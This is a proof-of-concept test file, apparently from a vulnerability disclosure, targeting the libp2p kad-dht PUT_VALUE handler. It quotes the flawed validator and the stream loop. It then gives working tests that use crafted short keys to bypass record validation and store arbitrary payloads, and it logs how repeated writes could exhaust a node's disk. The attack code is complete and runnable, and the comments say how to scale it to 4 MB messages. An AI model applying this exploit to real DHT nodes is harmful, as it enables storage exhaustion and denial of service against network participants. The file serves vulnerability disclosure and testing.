export async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> {                                                                                             
  const key = record.key                                                                                   
  const keyString = uint8ArrayToString(key)   // decode as UTF-8
  const parts = keyString.split('/')                                                                       
                                                                                                           
  if (parts.length < 3) {                                                                                                                                                                                             
    // No validator available                                                                              
    return                          // <- silent success; record IS written to datastore
  }                                                                                                        
  // ...                                             
}                                                                                                                                                                                                                     

let signal = AbortSignal.timeout(this.incomingMessageTimeout)  // 10 s inactivity timer
signal.addEventListener('abort', abortListener)      
const messages = pbStream(stream).pb(Message)  // DEFAULT_MAX_DATA_LENGTH = 4 MB

while (true) {
  if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }
  const message = await messages.read({ signal })
  await this.handleMessage(connection.remotePeer, message)
  // ...
  signal.removeEventListener('abort', abortListener)
  signal = AbortSignal.timeout(this.incomingMessageTimeout)  // timer RESET each message
  signal.addEventListener('abort', abortListener)
}

/**
 * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts
 *
 * Affected: packages/kad-dht/src/record/validators.ts:19-22
 *           packages/kad-dht/src/rpc/handlers/put-value.ts
 *           packages/kad-dht/src/rpc/index.ts (unbounded while loop)
 */

/* eslint-env mocha */

import assert from 'node:assert'
import { start } from '@libp2p/interface'
import { defaultLogger } from '@libp2p/logger'
import { persistentPeerStore } from '@libp2p/peer-store'
import { Libp2pRecord } from '@libp2p/record'
import { streamPair } from '@libp2p/utils'
import { MemoryDatastore } from 'datastore-core'
import * as lp from 'it-length-prefixed'
import { TypedEventEmitter } from 'main-event'
import pDefer from 'p-defer'
import Sinon from 'sinon'
import { stubInterface } from 'sinon-ts'
import { StreamMessageEvent } from '@libp2p/interface'
import { toString as uint8ArrayToString } from 'uint8arrays/to-string'
import { Message, MessageType } from '../../src/message/dht.js'
import { PeerRouting } from '../../src/peer-routing/index.js'
import { Providers } from '../../src/providers.js'
import { RoutingTable } from '../../src/routing-table/index.js'
import { RPC } from '../../src/rpc/index.js'
import { passthroughMapper } from '../../src/utils.js'
import { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'
import type { Validators } from '../../src/index.js'
import type { RPCComponents } from '../../src/rpc/index.js'
import type { Connection, Libp2pEvents } from '@libp2p/interface'
import type { AddressManager } from '@libp2p/interface-internal'
import type { Datastore } from 'interface-datastore'

describe('PoC: PUT_VALUE stores data without validation for short keys', function () {
  this.timeout(15_000)

  let rpc: RPC
  let datastore: Datastore

  beforeEach(async () => {
    const peerId = await createPeerIdWithPrivateKey()
    datastore = new MemoryDatastore()

    const components: RPCComponents = {
      peerId: peerId.peerId,
      datastore,
      peerStore: stubInterface(),
      addressManager: stubInterface<AddressManager>(),
      logger: defaultLogger()
    }
    components.peerStore = persistentPeerStore({
      ...components,
      events: new TypedEventEmitter<Libp2pEvents>()
    })

    await start(...Object.values(components))

    // Default validators: only 'pk' and 'ipns' in production.
    // Empty {} means: any key with ≥3 parts but unknown type throws; any key
    // with <3 parts silently passes (the bypass under test).
    const validators: Validators = {}

    rpc = new RPC(components, {
      routingTable: Sinon.createStubInstance(RoutingTable),
      providers: Sinon.createStubInstance(Providers),
      peerRouting: Sinon.createStubInstance(PeerRouting),
      validators,
      logPrefix: '',
      metricsPrefix: '',
      datastorePrefix: '',
      peerInfoMapper: passthroughMapper
    })
  })

  it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {
    // Key bytes that, when decoded as UTF-8, produce a string with only 1 part
    // when split on '/': [0x01, 0x02, 0x03] → "\x01\x02\x03" → length 1 < 3
    const craftedKey = new Uint8Array([0x01, 0x02, 0x03])
    const keyStr = uint8ArrayToString(craftedKey)
    const parts = keyStr.split('/')
    assert.ok(parts.length < 3,
      `key produces ${parts.length} parts — expected < 3 for bypass`)

    const PAYLOAD_SIZE = 64 * 1024  // 64 KB — replace with 4 * 1024 * 1024 for full impact
    const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)

    const record = new Libp2pRecord(craftedKey, largeValue, new Date())
    const encodedRecord = record.serialize()

    const msg: Partial<Message> = {
      type: MessageType.PUT_VALUE,
      key: craftedKey,
      record: encodedRecord
    }

    // Confirm datastore is empty before the attack
    const before: string[] = []
    for await (const { key } of datastore.query({})) {
      before.push(key.toString())
    }
    assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,
      'datastore must be empty before attack')

    // Open an in-memory stream pair.
    // outboundStream = attacker; incomingStream = victim.
    const [outboundStream, incomingStream] = await streamPair()

    // Wait for the echoed response (PUT_VALUE handler returns the message).
    // This confirms the victim processed the message before we check the store.
    const responseReceived = pDefer<void>()
    outboundStream.addEventListener('message', (evt) => {
      // LP-decode the response and verify it's our PUT_VALUE echo
      for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {
        const response = Message.decode(buf)
        if (response.type === MessageType.PUT_VALUE) {
          responseReceived.resolve()
        }
      }
    })

    // Schedule message send after victim starts listening (mirrors existing test pattern)
    queueMicrotask(() => {
      outboundStream.send(lp.encode.single(Message.encode(msg)))
    })

    // Start victim processing — do not await yet
    const victimDone = rpc.onIncomingStream(
      incomingStream,
      stubInterface<Connection>()
    )

    // Wait until the victim has processed and echoed the message
    await responseReceived.promise

    // Verify: arbitrary record was stored
    const after: string[] = []
    for await (const { key } of datastore.query({})) {
      after.push(key.toString())
    }
    const dhtRecordsAfter = after.filter(k => k.includes('/record/'))

    assert.ok(dhtRecordsAfter.length > 0,
      'VULNERABILITY CONFIRMED: arbitrary record stored without validation')

    console.log(`\n[PoC] Datastore key written:  ${dhtRecordsAfter[0]}`)
    console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)
    console.log(`[PoC] Payload stored:          ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)

    // Clean up: abort the stream so victimDone resolves
    incomingStream.abort(new Error('test cleanup'))
    await victimDone.catch(() => {})
  })

  it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
    const MESSAGES = 8
    const VALUE_SIZE = 16 * 1024  // 16 KB each

    for (let i = 0; i < MESSAGES; i++) {
      // Unique key per message → unique datastore entry per write
      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
      const record = new Libp2pRecord(craftedKey, value, new Date())

      const msg: Partial<Message> = {
        type: MessageType.PUT_VALUE,
        key: craftedKey,
        record: record.serialize()
      }

      const [outboundStream, incomingStream] = await streamPair()

      const responseReceived = pDefer<void>()
      outboundStream.addEventListener('message', () => { responseReceived.resolve() })

      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())

      await responseReceived.promise
      incomingStream.abort(new Error('test cleanup'))
      await victimDone.catch(() => {})
    }

    const keys: string[] = []
    for await (const { key } of datastore.query({})) {
      keys.push(key.toString())
    }
    const dhtRecords = keys.filter(k => k.includes('/record/'))

    assert.strictEqual(dhtRecords.length, MESSAGES,
      `expected ${MESSAGES} records stored`)

    const totalKB = (MESSAGES * VALUE_SIZE) / 1024
    console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
  })
})